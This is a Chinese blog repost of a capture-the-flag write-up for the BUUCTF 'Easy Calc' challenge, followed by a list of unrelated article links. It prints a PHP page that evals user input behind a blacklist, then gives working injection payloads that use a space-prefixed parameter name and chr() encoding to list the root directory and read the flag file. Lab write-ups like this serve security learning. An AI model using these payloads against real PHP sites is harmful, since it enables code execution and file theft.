当前位置: 首页 > article >正文

121,【5】 buuctf web [RoarCTF 2019] Easy Calc

进入靶场

尝试看看能不能得到源码

有信息

// 当id为calc的表单提交时,触发一个事件处理函数
$('#calc').submit(function(){
    // 使用jQuery的$.ajax方法发起一个异步HTTP请求
    $.ajax({
        // 请求的URL地址,将id为content的输入框的值进行URL编码后,作为参数num添加到calc.php的请求URL中
        url:"calc.php?num="+encodeURIComponent($("#content").val()),
        // 请求的类型为GET,意味着将数据附加在URL后面发送到服务器
        type:'GET',
        // 当请求成功时执行的回调函数
        success:function(data){
            // 将服务器返回的数据(通常是计算结果)插入到id为result的元素中
            // 使用HTML模板字符串创建一个带有成功提示样式的div元素,并将服务器返回的数据显示在其中
            $("#result").html(`<div class="alert alert-success">
            <strong>答案:</strong>${data}
            </div>`);
        },
        // 当请求失败时执行的回调函数
        error:function(){
            // 弹出一个警告框,提示用户输入的内容无法计算
            alert("这啥?算不来!");
        }
    })
    // 阻止表单的默认提交行为,避免页面刷新
    return false;
})

 发现calc.php

访问一下

新的代码

<?php
// 关闭所有 PHP 错误报告,避免在页面上显示错误信息,增强安全性和用户体验
error_reporting(0);

// 检查是否通过 GET 请求传递了名为 'num' 的参数
if(!isset($_GET['num'])){
    // 如果没有传递 'num' 参数,则显示当前文件(即本 PHP 文件)的源代码
    show_source(__FILE__);
}else{
    // 如果传递了 'num' 参数,将其值赋给变量 $str
    $str = $_GET['num'];
    // 定义一个黑名单数组,包含了一系列不允许出现在用户输入中的字符
    $blacklist = [' ', '\t', '\r', '\n', '\'', '"', '`', '\[', '\]', '\$', '\\', '\^'];
    // 遍历黑名单数组中的每个元素
    foreach ($blacklist as $blackitem) {
        // 使用正则表达式匹配用户输入的字符串 $str 中是否包含黑名单中的字符
        if (preg_match('/' . $blackitem . '/m', $str)) {
            // 如果匹配到黑名单中的字符,终止脚本执行,并输出提示信息
            die("what are you want to do?");
        }
    }
    // 如果用户输入的字符串不包含黑名单中的字符,则使用 eval 函数执行用户输入的代码
    // eval 函数会将字符串作为 PHP 代码进行解析和执行,并将执行结果输出
    eval('echo '.$str.';');
}
?>

得知参数名为num,传递方式是get

开始尝试

?+num=phpinfo()

黑名单里有空格,而在url中 + 号通常会被当作空格来处理,phpinfo() 函数的主要功能是输出当前 PHP 环境的详细配置信息

成功了

?+num=print_r(scandir(chr(47)))

 

  • chr(47)chr() 是 PHP 的内置函数,它将 ASCII 码值转换为对应的字符。chr(47) 对应的 ASCII 字符是 /,在 Linux 或 macOS 系统中代表根目录。
  • scandir()scandir() 函数用于扫描指定目录中的文件和文件夹,并返回一个包含这些文件和文件夹名称的数组。所以 scandir(chr(47)) 实际上就是 scandir("/"),即扫描根目录并获取其下所有文件和文件夹的名称。
  • print_r()print_r() 用于以易于理解的格式输出变量的信息。

 

?+num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) 

得到flag 

 


http://www.kler.cn/a/537054.html

相关文章:

  • 设计模式Python版 代理模式
  • 力扣 239.滑动窗口最大值
  • kafka消费端之消费者协调器和组协调器
  • flutter Selector 使用
  • 洛谷题目: P8774 [蓝桥杯 2022 省 A] 爬树的甲壳虫 题解 (本题较简)
  • Spring 框架及其主要模块
  • 树莓集团双流布局,元宇宙产业园点亮科技之光
  • 如何确保爬虫不会违反平台规则?
  • 为什么关系模型不叫表模型
  • Redis基础--常用数据结构的命令及底层编码
  • DeepSeek Window本地私有化部署
  • Ubuntu Crontab 日志在什么位置 ?
  • 京东java面试流程_java京东社招面试经历
  • ES6 迭代器 (`Iterator`)使用总结
  • flutter Selector 使用
  • StarSpider 星蛛 爬虫 Java框架 可以实现 lazy爬取 实现 HTML 文件的编译,子标签缓存等操作
  • 前端导出pdf,所见即所得
  • 芯科科技的BG22L和BG24L带来应用优化的超低功耗蓝牙®连接
  • Spring Boot 有哪些优点
  • 【Redis】事务因WATCH的键被修改而失败 事务队列中的操作被自动丢弃 UNWATCH的应用场景
  • 视频编辑质量评价的开源项目 VE-Bench 介绍
  • 使用deepseek快速创作ppt
  • 基于物联网技术的智能寻车引导系统方案:工作原理、核心功能及系统架构
  • 如何设置Jsoup请求头模拟浏览器访问?
  • redis之AOF持久化过程
  • Plugin有什么作用?Plugin是什么?